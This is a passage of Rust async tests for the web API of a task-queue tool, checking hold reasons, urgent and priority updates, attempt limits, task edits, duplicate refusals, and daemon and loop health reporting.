14877 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14878 let f = Fixture::start().await;
14879 let queue = f.queue();
14880 let mut task = Task::new(
14881 "waiting on the migration".to_owned(),
14882 "Do the thing".to_owned(),
14883 PathBuf::from("/repo/magi"),
14884 Source::Human,
14885 );
14886 queue.put(&mut task).expect("file the task");
14887
14888 let held = f
14889 .post(
14890 &format!("/api/queue/{}/hold", task.id),
14891 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14892 )
14893 .await;
14894 assert_eq!(held.status, 200, "{}", held.body);
14895 assert_eq!(held.json()["status_str"], "held");
14896 assert_eq!(
14897 held.json()["hold_reason"],
14898 "waiting for 20260101-000000-aaaa to land"
14899 );
14900
14901 let listed = f.get("/api/queue").await.json();
14902 assert_eq!(
14903 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14904 "the card reads the reason off the same list route"
14905 );
14906
14907 let mut plain = Task::new(
14910 "no reason given".to_owned(),
14911 "Do another thing".to_owned(),
14912 PathBuf::from("/repo/magi"),
14913 Source::Human,
14914 );
14915 queue.put(&mut plain).expect("file the task");
14916 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14917 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14918 assert!(held_plain.json()["hold_reason"].is_null());
14919
14920 let released = f
14921 .post(&format!("/api/queue/{}/release", task.id), None)
14922 .await;
14923 assert_eq!(released.status, 200);
14924 assert!(
14925 released.json()["hold_reason"].is_null(),
14926 "a release must clear the reason so the next hold does not inherit it"
14927 );
14928 }
14929
14930 #[test]
14931 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14932 for urgent in [true, false] {
14933 let body: UrgentBody =
14934 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14935 assert_eq!(body.urgent, urgent);
14936 }
14937 for input in [
14938 r#"{}"#,
14939 r#"{"urgent":null}"#,
14940 r#"{"urgent":"true"}"#,
14941 r#"{"urgent":1}"#,
14942 r#"{"urgent":true,"extra":false}"#,
14943 ] {
14944 assert!(
14945 serde_json::from_str::<UrgentBody>(input).is_err(),
14946 "{input}"
14947 );
14948 }
14949 }
14950
14951 #[tokio::test]
14952 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14953 let home = TempDir::new().unwrap();
14954 let q = Queue::at(home.path().join("queue"));
14955 let ui = Arc::new(Ui::new(
14956 q.clone(),
14957 Questions::at(home.path().join("questions")),
14958 Talks::at(home.path().join("talks")),
14959 home.path().join("runs"),
14960 home.path().into(),
14961 home.path().into(),
14962 ));
14963 let mut task = Task::new(
14964 "urgent handler".into(),
14965 "keep".into(),
14966 home.path().into(),
14967 Source::Human,
14968 );
14969 for status in [TaskStatus::Queued, TaskStatus::Held] {
14970 task.status = status;
14971 q.put(&mut task).unwrap();
14972 for urgent in [true, true, false, false] {
14973 let saved = queue_urgent(
14974 State(Arc::clone(&ui)),
14975 Path(task.short().into()),
14976 Ok(Json(UrgentBody { urgent })),
14977 )
14978 .await
14979 .unwrap();
14980 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14981 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14982 }
14983 }
14984 task.status = TaskStatus::Queued;
14985 q.put(&mut task).unwrap();
14986 let claim = q.claim(&task.id).unwrap();
14987 let error = queue_urgent(
14988 State(Arc::clone(&ui)),
14989 Path(task.id.clone()),
14990 Ok(Json(UrgentBody { urgent: true })),
14991 )
14992 .await
14993 .unwrap_err();
14994 assert_eq!(error.status, StatusCode::CONFLICT);
14995 assert!(error.message.contains("released"));
14996 drop(claim);
14997 for status in [
14998 TaskStatus::Running,
14999 TaskStatus::Done,
15000 TaskStatus::Failed,
15001 TaskStatus::Blocked,
15002 TaskStatus::Parked,
15003 ] {
15004 task.status = status;
15005 q.put(&mut task).unwrap();
15006 let error = queue_urgent(
15007 State(Arc::clone(&ui)),
15008 Path(task.id.clone()),
15009 Ok(Json(UrgentBody { urgent: false })),
15010 )
15011 .await
15012 .unwrap_err();
15013 assert_eq!(error.status, StatusCode::BAD_REQUEST);
15014 assert!(error.message.contains(status.as_str()));
15015 }
15016 }
15017
15018 #[tokio::test]
15019 async fn urgent_api_updates_preserves_and_validates_tasks() {
15020 let f = Fixture::start().await;
15021 let q = f.queue();
15022 let mut t = Task::new(
15023 "urgent API".into(),
15024 "unchanged".into(),
15025 PathBuf::from("/repo/magi"),
15026 Source::Human,
15027 );
15028 t.attempts = 2;
15029 t.priority = 9;
15030 t.interrupt = true;
15031 t.hold_reason = Some("waiting for approval".into());
15032 for status in [TaskStatus::Queued, TaskStatus::Held] {
15033 t.status = status;
15034 q.put(&mut t).unwrap();
15035 for urgent in [true, true, false, false] {
15036 let response = f
15037 .post(
15038 &format!("/api/queue/{}/urgent", t.short()),
15039 Some(&format!("{{\"urgent\":{urgent}}}")),
15040 )
15041 .await;
15042 assert_eq!(response.status, 200, "{}", response.body);
15043 assert_eq!(response.json()["urgent"], urgent);
15044 let saved = q.get(&t.id).unwrap();
15045 let mut before = serde_json::to_value(&t).unwrap();
15046 let mut after = serde_json::to_value(saved).unwrap();
15047 before["urgent"] = urgent.into();
15048 before.as_object_mut().unwrap().remove("updated_at");
15049 after.as_object_mut().unwrap().remove("updated_at");
15050 assert_eq!(after, before);
15051 }
15052 }
15053 let route = format!("/api/queue/{}/urgent", t.id);
15054 for body in [
15055 r#"{}"#,
15056 r#"{"urgent":null}"#,
15057 r#"{"urgent":"true"}"#,
15058 r#"{"urgent":1}"#,
15059 r#"{"urgent":true,"extra":false}"#,
15060 "{",
15061 ] {
15062 assert_eq!(f.post(&route, Some(body)).await.status, 400);
15063 }
15064 t.status = TaskStatus::Queued;
15065 q.put(&mut t).unwrap();
15066 let claim = q.claim(&t.id).unwrap();
15067 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15068 assert_eq!(response.status, 409, "{}", response.body);
15069 assert!(!q.get(&t.id).unwrap().urgent);
15070 drop(claim);
15071 for status in [
15072 TaskStatus::Running,
15073 TaskStatus::Done,
15074 TaskStatus::Failed,
15075 TaskStatus::Blocked,
15076 TaskStatus::Parked,
15077 ] {
15078 t.status = status;
15079 q.put(&mut t).unwrap();
15080 for urgent in [true, false] {
15081 let response = f
15082 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15083 .await;
15084 assert_eq!(response.status, 400, "{}", response.body);
15085 assert!(response.body.contains(status.as_str()));
15086 assert!(response.body.contains("queued or held"));
15087 assert!(!q.get(&t.id).unwrap().urgent);
15088 }
15089 }
15090 assert_eq!(
15091 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15092 .await
15093 .status,
15094 404
15095 );
15096 }
15097
15098 #[tokio::test]
15099 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15100 let f = Fixture::start().await;
15101 let queue = f.queue();
15102 let mut older = Task::new(
15103 "filed first".to_owned(),
15104 "x".to_owned(),
15105 PathBuf::from("/repo/magi"),
15106 Source::Human,
15107 );
15108 older.id = "20260101-000001-aaaa".to_owned();
15109 let mut newer = Task::new(
15110 "filed second".to_owned(),
15111 "x".to_owned(),
15112 PathBuf::from("/repo/magi"),
15113 Source::Human,
15114 );
15115 newer.id = "20260101-000002-bbbb".to_owned();
15116 queue.put(&mut older).expect("file older");
15117 queue.put(&mut newer).expect("file newer");
15118
15119 let before = f.get("/api/queue").await.json();
15122 assert_eq!(before[0]["id"], newer.id);
15123 assert_eq!(before[1]["id"], older.id);
15124
15125 let raised = f
15129 .post(
15130 &format!("/api/queue/{}/priority", older.id),
15131 Some(r#"{"priority":10}"#),
15132 )
15133 .await;
15134 assert_eq!(raised.status, 200, "{}", raised.body);
15135 assert_eq!(raised.json()["priority"], 10);
15136
15137 let after = f.get("/api/queue").await.json();
15138 let names: Vec<&str> = after
15139 .as_array()
15140 .unwrap()
15141 .iter()
15142 .map(|t| t["id"].as_str().unwrap())
15143 .collect();
15144 assert_eq!(names[0], older.id, "the raised task now sorts first");
15148 }
15149
15150 #[tokio::test]
15151 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15152 let dir = TempDir::new().unwrap();
15153 let q = Queue::at(dir.path().join("queue"));
15154 let ui = Arc::new(Ui::new(
15155 q.clone(),
15156 Questions::at(dir.path().join("questions")),
15157 Talks::at(dir.path().join("talks")),
15158 dir.path().join("runs"),
15159 dir.path().to_path_buf(),
15160 dir.path().to_path_buf(),
15161 ));
15162 let mut t = Task::new(
15163 "budget".into(),
15164 "keep".into(),
15165 dir.path().into(),
15166 Source::Human,
15167 );
15168 t.attempts = 2;
15169 t.runs.push("prior-run".into());
15170 t.hold_manual(Some("waiting".into()));
15171 q.put(&mut t).unwrap();
15172 let change = |value| {
15173 queue_attempt_limit(
15174 State(ui.clone()),
15175 Path(t.id.clone()),
15176 Ok(Json(AttemptLimitBody {
15177 attempt_limit: value,
15178 })),
15179 )
15180 };
15181 for value in [
15182 serde_json::json!(3),
15183 serde_json::Value::Null,
15184 serde_json::json!(1),
15185 ] {
15186 let response = change(value.clone()).await.unwrap();
15187 assert_eq!(
15188 serde_json::to_value(response.0).unwrap()["attempt_limit"],
15189 value
15190 );
15191 let saved = q.get(&t.id).unwrap();
15192 assert_eq!(
15193 serde_json::to_value(&saved).unwrap()["attempt_limit"],
15194 value
15195 );
15196 assert_eq!(saved.status, TaskStatus::Held);
15197 assert_eq!(saved.attempts, t.attempts);
15198 assert_eq!(saved.runs, t.runs);
15199 assert_eq!(saved.hold_reason, t.hold_reason);
15200 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15201 .await
15202 .unwrap()
15203 .0;
15204 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15205 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15206 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15207 assert_eq!(outcome.max_attempts, detail.max_attempts);
15208 }
15209 for value in [
15210 serde_json::json!(0),
15211 serde_json::json!(-1),
15212 serde_json::json!(1.5),
15213 serde_json::json!("3"),
15214 serde_json::json!(true),
15215 ] {
15216 assert_eq!(
15217 change(value).await.err().unwrap().status,
15218 StatusCode::BAD_REQUEST
15219 );
15220 }
15221 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15222 let claim = q.claim(&t.id).unwrap();
15223 assert_eq!(
15224 change(serde_json::json!(4)).await.err().unwrap().status,
15225 StatusCode::CONFLICT
15226 );
15227 drop(claim);
15228 for status in [
15229 TaskStatus::Running,
15230 TaskStatus::Done,
15231 TaskStatus::Failed,
15232 TaskStatus::Blocked,
15233 TaskStatus::Parked,
15234 ] {
15235 let mut stored = q.get(&t.id).unwrap();
15236 stored.status = status;
15237 q.put(&mut stored).unwrap();
15238 assert_eq!(
15239 change(serde_json::json!(4)).await.err().unwrap().status,
15240 StatusCode::BAD_REQUEST
15241 );
15242 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15243 }
15244 let mut stored = q.get(&t.id).unwrap();
15245 stored.status = TaskStatus::Queued;
15246 q.put(&mut stored).unwrap();
15247 let _ = change(serde_json::Value::Null).await.unwrap();
15248 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15249 }
15250
15251 #[tokio::test]
15252 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15253 let dir = TempDir::new().unwrap();
15254 let repo = dir.path().join("repo");
15255 std::fs::create_dir(&repo).unwrap();
15256 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15257 let q = Queue::at(dir.path().join("queue"));
15258 let ui = Arc::new(Ui::new(
15259 q.clone(),
15260 Questions::at(dir.path().join("questions")),
15261 Talks::at(dir.path().join("talks")),
15262 dir.path().join("runs"),
15263 dir.path().to_path_buf(),
15264 repo.clone(),
15265 ));
15266 let mut t = Task::new(
15267 "seats".into(),
15268 "keep instruction".into(),
15269 repo,
15270 Source::Human,
15271 );
15272 t.runs.push("prior-run".into());
15273 t.hold_manual(Some("waiting".into()));
15274 q.put(&mut t).unwrap();
15275 let change = |count| {
15276 queue_implementers(
15277 State(ui.clone()),
15278 Path(t.id.clone()),
15279 Ok(Json(ImplementersBody {
15280 implementers: count,
15281 })),
15282 )
15283 };
15284 for count in [2, 1, 2] {
15285 let response = change(count).await.unwrap();
15286 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15287 let saved = q.get(&t.id).unwrap();
15288 assert_eq!(saved.implementers(), Some(usize::from(count)));
15289 assert_eq!(saved.runs, t.runs);
15290 assert_eq!(saved.instruction, t.instruction);
15291 }
15292 for count in [0, 4] {
15293 assert_eq!(
15294 change(count).await.err().unwrap().status,
15295 StatusCode::BAD_REQUEST
15296 );
15297 }
15298 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15299 let claim = q.claim(&t.id).unwrap();
15300 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15301 drop(claim);
15302 for status in [
15303 TaskStatus::Running,
15304 TaskStatus::Done,
15305 TaskStatus::Failed,
15306 TaskStatus::Blocked,
15307 TaskStatus::Parked,
15308 ] {
15309 let mut stored = q.get(&t.id).unwrap();
15310 stored.status = status;
15311 q.put(&mut stored).unwrap();
15312 assert_eq!(
15313 change(1).await.err().unwrap().status,
15314 StatusCode::BAD_REQUEST
15315 );
15316 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15317 }
15318 }
15319
15320 #[tokio::test]
15321 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15322 let f = Fixture::start().await;
15323 let queue = f.queue();
15324 let mut task = Task::new(
15325 "in flight".to_owned(),
15326 "x".to_owned(),
15327 PathBuf::from("/repo/magi"),
15328 Source::Human,
15329 );
15330 task.start("20260902-140502-bbbb".to_owned());
15331 queue.put(&mut task).expect("file the task");
15332
15333 let res = f
15334 .post(
15335 &format!("/api/queue/{}/priority", task.id),
15336 Some(r#"{"priority":9}"#),
15337 )
15338 .await;
15339 assert_eq!(res.status, 400, "{}", res.body);
15340 assert!(
15341 res.json()["error"]
15342 .as_str()
15343 .is_some_and(|e| e.contains("running")),
15344 "{}",
15345 res.body
15346 );
15347 assert_eq!(
15348 queue.get(&task.id).expect("reload").priority,
15349 0,
15350 "the refused write must not partially apply"
15351 );
15352 }
15353
15354 #[tokio::test]
15355 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15356 let f = Fixture::start().await;
15357 let queue = f.queue();
15358 let mut task = Task::new(
15359 "old title".to_owned(),
15360 "old instruction".to_owned(),
15361 PathBuf::from("/repo/magi"),
15362 Source::Agent {
15363 run: "20260101-000000-beef".to_owned(),
15364 node: "implement".to_owned(),
15365 },
15366 );
15367 task.runs.push("20260101-000000-beef".to_owned());
15368 queue.put(&mut task).expect("file the task");
15369 let created_at = task.created_at;
15370
15371 let edited = f
15372 .post(
15373 &format!("/api/queue/{}/edit", task.id),
15374 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15375 )
15376 .await;
15377 assert_eq!(edited.status, 200, "{}", edited.body);
15378 let body = edited.json();
15379 assert_eq!(body["title"], "new title");
15380 assert_eq!(body["instruction"], "new instruction");
15381 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15382 assert_eq!(body["created_at"], created_at.to_string());
15383 assert_eq!(
15384 body["source"]["kind"], "agent",
15385 "editing a task an agent filed must not turn it human: {body}"
15386 );
15387 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15388
15389 let reloaded = queue.get(&task.id).expect("reload");
15390 assert_eq!(reloaded.title, "new title");
15391 assert_eq!(reloaded.instruction, "new instruction");
15392 }
15393
15394 #[tokio::test]
15395 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15396 let tmp = TempDir::new().expect("tempdir");
15399 let repo = tmp.path().join("repo");
15400 std::fs::create_dir_all(&repo).expect("repo dir");
15401 let judge = MOCK_AGENT_TOML.replace(
15402 "printf ok",
15403 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15404 );
15405 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15406 let f = Fixture::with_repo(repo.clone()).await;
15407 let queue = f.queue();
15408 let mut owner = Task::new(
15409 "owner".to_owned(),
15410 "review it".to_owned(),
15411 repo.clone(),
15412 Source::Human,
15413 );
15414 owner.review_branch = Some("magi/ab12/A".to_owned());
15415 queue.put(&mut owner).expect("file the owner");
15416 let mut task = Task::new(
15417 "draft".to_owned(),
15418 "old".to_owned(),
15419 repo.clone(),
15420 Source::Human,
15421 );
15422 queue.put(&mut task).expect("file the draft");
15423 let url = format!("/api/queue/{}/edit", task.id);
15424
15425 let refused = f
15426 .post(
15427 &url,
15428 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15429 )
15430 .await;
15431 assert_eq!(refused.status, 409, "{}", refused.body);
15432 let msg = refused.json()["error"]
15433 .as_str()
15434 .unwrap_or_default()
15435 .to_owned();
15436 assert!(
15437 msg.contains("magi/ab12/A") && msg.contains("force"),
15438 "{msg}"
15439 );
15440 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15441
15442 let forced = f
15443 .post(
15444 &url,
15445 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15446 )
15447 .await;
15448 assert_eq!(forced.status, 200, "{}", forced.body);
15449 }
15450
15451 #[tokio::test]
15452 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15453 let f = Fixture::start().await;
15454 let queue = f.queue();
15455 let mut task = Task::new(
15456 "in flight".to_owned(),
15457 "do not touch".to_owned(),
15458 PathBuf::from("/repo/magi"),
15459 Source::Human,
15460 );
15461 task.start("20260902-140502-bbbb".to_owned());
15462 queue.put(&mut task).expect("file the task");
15463
15464 let res = f
15465 .post(
15466 &format!("/api/queue/{}/edit", task.id),
15467 Some(r#"{"title":"x","instruction":"y"}"#),
15468 )
15469 .await;
15470 assert_eq!(res.status, 400, "{}", res.body);
15471 assert!(
15472 res.json()["error"]
15473 .as_str()
15474 .is_some_and(|e| e.contains("running")),
15475 "{}",
15476 res.body
15477 );
15478 assert_eq!(
15479 queue.get(&task.id).expect("reload").instruction,
15480 "do not touch",
15481 "the refused edit must not change the file"
15482 );
15483 }
15484
15485 #[tokio::test]
15486 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15487 let f = Fixture::start().await;
15488 let queue = f.queue();
15489 let mut task = Task::new(
15490 "busy".to_owned(),
15491 "Running right now".to_owned(),
15492 PathBuf::from("/repo/magi"),
15493 Source::Human,
15494 );
15495 queue.put(&mut task).expect("file the task");
15496 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15497
15498 let priority = f
15499 .post(
15500 &format!("/api/queue/{}/priority", task.id),
15501 Some(r#"{"priority":9}"#),
15502 )
15503 .await;
15504 assert_eq!(priority.status, 409, "{}", priority.body);
15505
15506 let edit = f
15507 .post(
15508 &format!("/api/queue/{}/edit", task.id),
15509 Some(r#"{"title":"x","instruction":"y"}"#),
15510 )
15511 .await;
15512 assert_eq!(edit.status, 409, "{}", edit.body);
15513 }
15514
15515 #[tokio::test]
15516 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15517 let f = Fixture::start().await;
15518 let queue = f.queue();
15519 let mut task = Task::new(
15520 "shipped by hand".to_owned(),
15521 "merged outside the loop".to_owned(),
15522 PathBuf::from("/repo/magi"),
15523 Source::Agent {
15524 run: "20260101-000000-b455".to_owned(),
15525 node: "implement".to_owned(),
15526 },
15527 );
15528 task.runs.push("20260101-000000-b455".to_owned());
15529 task.runs.push("20260101-000000-9af4".to_owned());
15530 queue.put(&mut task).expect("file the task");
15531 let created_at = task.created_at;
15532
15533 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15534 assert_eq!(done.status, 200, "{}", done.body);
15535 assert_eq!(done.json()["status_str"], "done");
15536
15537 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15538 assert_eq!(
15539 reloaded.runs,
15540 ["20260101-000000-b455", "20260101-000000-9af4"]
15541 );
15542 assert_eq!(
15543 reloaded.source,
15544 Source::Agent {
15545 run: "20260101-000000-b455".to_owned(),
15546 node: "implement".to_owned(),
15547 }
15548 );
15549 assert_eq!(reloaded.created_at, created_at);
15550 }
15551
15552 #[tokio::test]
15553 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15554 let f = Fixture::start().await;
15559 let queue = f.queue();
15560 let mut task = Task::new(
15561 "landed while held".to_owned(),
15562 "x".to_owned(),
15563 PathBuf::from("/repo/magi"),
15564 Source::Human,
15565 );
15566 task.hold_manual(Some("waiting on 3ed9".to_owned()));
15567 queue.put(&mut task).expect("file the held task");
15568
15569 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15570 assert_eq!(done.status, 200, "{}", done.body);
15571 assert_eq!(done.json()["status_str"], "done");
15572 assert!(
15573 done.json()["hold_reason"].is_null(),
15574 "a done task cannot still be waiting on something: {}",
15575 done.body
15576 );
15577 }
15578
15579 #[tokio::test]
15580 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15581 let f = Fixture::start().await;
15586 let queue = f.queue();
15587 let runs = f.runs();
15588 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15589 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15593
15594 let mut task = Task::new(
15595 "landed by hand".to_owned(),
15596 "x".to_owned(),
15597 PathBuf::from("/repo/magi"),
15598 Source::Human,
15599 );
15600 task.runs.push("20260101-000000-doa1".to_owned());
15601 task.runs.push("20260101-000000-doa2".to_owned());
15602 queue.put(&mut task).expect("file the task");
15603
15604 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15605 assert_eq!(done.status, 200, "{}", done.body);
15606
15607 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15608 .expect("run still on disk under this fixture's own home");
15609 assert_eq!(
15610 reloaded_run.status,
15611 RunStatus::Superseded,
15612 "closing the task by hand must relabel the earlier blocked attempt exactly \
15613 like the loop's own settle path does"
15614 );
15615 }
15616
15617 #[tokio::test]
15618 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15619 let f = Fixture::start().await;
15624 let queue = f.queue();
15625 let runs = f.runs();
15626 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15627 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15628
15629 let mut task = Task::new(
15630 "closed with nothing actually landed".to_owned(),
15631 "x".to_owned(),
15632 PathBuf::from("/repo/magi"),
15633 Source::Human,
15634 );
15635 task.runs.push("20260101-000000-dob1".to_owned());
15636 task.runs.push("20260101-000000-dob2".to_owned());
15637 queue.put(&mut task).expect("file the task");
15638
15639 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15640 assert_eq!(done.status, 200, "{}", done.body);
15641
15642 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15643 .expect("run still on disk under this fixture's own home");
15644 assert_eq!(
15645 reloaded_run.status,
15646 RunStatus::Blocked,
15647 "the last recorded attempt never landed, so the earlier one must not be \
15648 relabelled as superseded by it"
15649 );
15650 }
15651
15652 #[tokio::test]
15653 async fn unknown_ids_are_json_not_found_on_both_stores() {
15654 let f = Fixture::start().await;
15655
15656 let run = f.get("/api/runs/nosuchrun").await;
15657 let task = f.post("/api/queue/nosuchtask/hold", None).await;
15658
15659 assert_eq!(run.status, 404);
15660 assert_eq!(task.status, 404);
15661 assert!(
15662 run.json()["error"]
15663 .as_str()
15664 .is_some_and(|e| e.contains("run")),
15665 "the error names what was not found: {}",
15666 run.body
15667 );
15668 assert!(
15669 task.json()["error"]
15670 .as_str()
15671 .is_some_and(|e| e.contains("task")),
15672 "the error names what was not found: {}",
15673 task.body
15674 );
15675 }
15676
15677 #[tokio::test]
15678 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15679 let f = Fixture::start().await;
15680
15681 let missing = f.get("/api/health").await.json();
15682 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15683
15684 write_daemon(
15685 f.home.path(),
15686 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15687 );
15688 let stale = f.get("/api/health").await.json();
15689 assert_eq!(
15690 stale["daemon"]["running"], false,
15691 "a minute without a heartbeat is a dead daemon, not a busy one"
15692 );
15693 assert!(
15694 stale["daemon"]["stale_for_secs"]
15695 .as_i64()
15696 .is_some_and(|s| s >= 55),
15697 "staleness is reported so the UI can say how long: {stale}"
15698 );
15699
15700 write_daemon(f.home.path(), Timestamp::now());
15701 let fresh = f.get("/api/health").await.json();
15702 assert_eq!(fresh["daemon"]["running"], true);
15703 assert_eq!(fresh["daemon"]["idle"], false);
15704 assert_eq!(fresh["daemon"]["pid"], 4242);
15705 assert_eq!(fresh["daemon"]["completed"], 7);
15706 assert_eq!(
15707 fresh["daemon"]["current"][0]["task"],
15708 "20260902-140501-aaaa"
15709 );
15710 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15711 }
15712
15713 #[tokio::test]
15714 async fn the_loop_is_not_running_until_something_starts_it() {
15715 let f = Fixture::start().await;
15716
15717 let view = f.get("/api/loop").await.json();
15718 assert_eq!(view["running"], false);
15719 assert_eq!(
15720 view["owned"], false,
15721 "nobody owns a loop that does not exist: {view}"
15722 );
15723 assert_eq!(view["stopping"], false);
15724 assert_eq!(view["last_error"], Value::Null);
15725 assert_eq!(view["daemon"]["running"], false);
15726 assert_eq!(
15727 view["repo"], "/repo/magi",
15728 "the repository a start would use, named before it is started"
15729 );
15730 }
15731
15732 #[tokio::test]
15733 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15734 let f = Fixture::start().await;
15735
15736 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15737 assert_eq!(res.status, 200, "{}", res.body);
15738 let view = res.json();
15739 assert_eq!(view["running"], true);
15740 assert_eq!(
15741 view["owned"], true,
15742 "the loop the UI started is the UI's own to stop: {view}"
15743 );
15744 assert_eq!(
15745 view["merge"],
15746 Value::Null,
15747 "no override was given, so each repository's own config decides"
15748 );
15749
15750 let health = f.get("/api/health").await.json();
15754 assert_eq!(health["loop"]["running"], true, "{health}");
15755 assert_eq!(health["loop"]["owned"], true, "{health}");
15756
15757 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15758 }
15759
15760 #[tokio::test]
15761 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15762 let f = Fixture::start().await;
15763 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15764 assert_eq!(first.status, 200, "{}", first.body);
15765
15766 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15767 assert_eq!(
15768 again.status, 409,
15769 "two loops on one queue race for the same claims: {}",
15770 again.body
15771 );
15772 assert!(
15773 again.json()["error"]
15774 .as_str()
15775 .is_some_and(|e| e.contains("already running the loop")),
15776 "the refusal has to say why: {}",
15777 again.body
15778 );
15779 assert_eq!(
15780 f.get("/api/loop").await.json()["running"],
15781 true,
15782 "and the loop that was already running is untouched by it"
15783 );
15784
15785 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15786 }
15787
15788 #[tokio::test]
15789 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15790 let f = Fixture::start().await;
15791 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15792
15793 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15794 assert_eq!(
15795 res.status, 200,
15796 "the answer must not wait for the loop: a run in flight is tens of \
15797 minutes and the operator is holding a phone: {}",
15798 res.body
15799 );
15800
15801 let view = settled(&f, |v| v["running"] == false).await;
15802 assert_eq!(view["owned"], false);
15803 assert_eq!(
15804 view["stopping"], false,
15805 "a loop that has stopped is not still stopping: {view}"
15806 );
15807 assert_eq!(
15808 view["last_error"],
15809 Value::Null,
15810 "a loop that was asked to stop did not fail: {view}"
15811 );
15812
15813 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15816 assert_eq!(twice.status, 200, "{}", twice.body);
15817 }
15818
15819 #[tokio::test]
15820 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15821 let f = Fixture::start().await;
15822 write_daemon(f.home.path(), Timestamp::now());
15825
15826 let view = f.get("/api/loop").await.json();
15827 assert_eq!(view["running"], false, "not in this process: {view}");
15828 assert_eq!(view["owned"], false, "and not this process's to control");
15829 assert_eq!(
15830 view["daemon"]["running"], true,
15831 "but a loop is alive somewhere, which is what the UI must say"
15832 );
15833 assert_eq!(view["daemon"]["pid"], 4242);
15834
15835 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15836 let res = f.post("/api/loop", Some(body)).await;
15837 assert_eq!(
15838 res.status, 409,
15839 "neither button may pretend to work on someone else's loop: {}",
15840 res.body
15841 );
15842 assert!(
15843 res.json()["error"]
15844 .as_str()
15845 .is_some_and(|e| e.contains("4242")),
15846 "the refusal has to name the process the operator must go to: {}",
15847 res.body
15848 );
15849 }
15850 assert_eq!(
15851 f.get("/api/loop").await.json()["running"],
15852 false,
15853 "and the refusal started nothing"
15854 );
15855 }
15856
15857 #[tokio::test]
15858 async fn a_stale_status_file_is_not_a_foreign_owner() {
15859 let f = Fixture::start().await;
15860 write_daemon(
15861 f.home.path(),
15862 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15863 );
15864
15865 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15866 assert_eq!(
15867 res.status, 200,
15868 "a daemon killed a minute ago must not lock the loop out of its \
15869 own home for good: {}",
15870 res.body
15871 );
15872 assert_eq!(res.json()["running"], true);
15873
